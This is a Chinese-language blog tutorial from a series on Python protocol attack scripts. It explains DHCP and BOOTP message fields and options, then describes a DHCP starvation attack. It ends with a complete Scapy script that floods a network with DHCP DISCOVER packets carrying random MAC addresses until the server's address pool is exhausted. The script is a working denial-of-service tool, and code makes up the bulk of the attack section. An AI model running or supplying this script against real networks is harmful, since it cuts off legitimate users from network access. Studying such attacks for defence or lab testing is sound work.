Python 协议攻击脚本(七): DHCP攻击

DCHP知识铺垫

DHCP

动态主机设置协议(英语:Dynamic Host Configuration Protocol,缩写:DHCP)是一个局域网的网络协议,使用UDP协议工作

BOOTP

BOOTP(Bootstrap Protocol,引导程序协议)是一种引导协议,基于IP/UDP协议,也称自举协议,是DHCP协议的前身。

关系

  • DHCP 是BOOTP 的增强版本都是基于TCP/IP协议的协议

  • DHCP的消息格式是基于BOOTP的消息格式的

报文部分字段

  • op:消息操作代码
    • 1 客户端请求报文(BOOTREQUEST)
    • 2 服务器响应报文(BOOTREPLY)
  • xid:事务ID,由客户端选择的一个随机数,被服务器和客户端用来在它们之间交流请求和响应
  • chaddr:客户端MAC地址
  • option:选项字段

常见option选项

Option id name 描述
1 Subnet Mask 子网掩码
3 Router 网关
6 DNS Server DNS服务器
51 IP address lease time IP地址租期
53 Message type 消息类型
54 DHCP Server Identifier DHCP服务器身份

IP请求中的Message type:

  • 1 DHCP发现(DISCOVER)
  • 2 DHCP提供(OFFER)
  • 3 DHCP请求(REQUEST)
  • 5 DHCP确认(Acknowledge,ACK)

DHCP耗尽攻击

不断的发送DHCP Dscover来向DHCP服务器请求IP地址,导致地址池耗尽,对网络造成破坏

详见:

DHCP协议 | wiki

DHCP Option 文档 | cisco

BOOTP/DHCP options

数据包分析

DHCP 服务器: 192.168.1.1
地址池:192.168.1.100-200

Python 协议攻击脚本(七): DHCP攻击_第1张图片

Ether

  • src: 本机mac
  • dst: ff:ff:ff:ff:ff:ff 广播地址

IP

  • src: 0.0.0.0

UDP

  • src port:68
  • dst port:67

DHCP

  • chaddr:本机mac

  • option: 53 Discover

编写脚本

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from scapy.all import (
    Ether,
    RandMAC,
    IP,
    UDP,
    BOOTP,
    DHCP,
    sendp
)
import random

def dhcp_discover(iface):
    while 1:
        xid_random = random.randint(1, 900000000)
        mac_random = str(RandMAC())
        dhcp_discover = (Ether(src=mac_random,dst='ff:ff:ff:ff:ff:ff')/
                     IP(src='0.0.0.0',dst='255.255.255.255')/
                     UDP(sport=68,dport=67)/
                     BOOTP(chaddr=mac_random,xid=xid_random,flags=0x8000)/
                     DHCP(options=[('message-type','discover')]
                     ))

        sendp(dhcp_discover,iface=iface)



if __name__ == '__main__':
    iface = 'eth0'
    dhcp_discover(iface)

你可能感兴趣的:(Pyhton)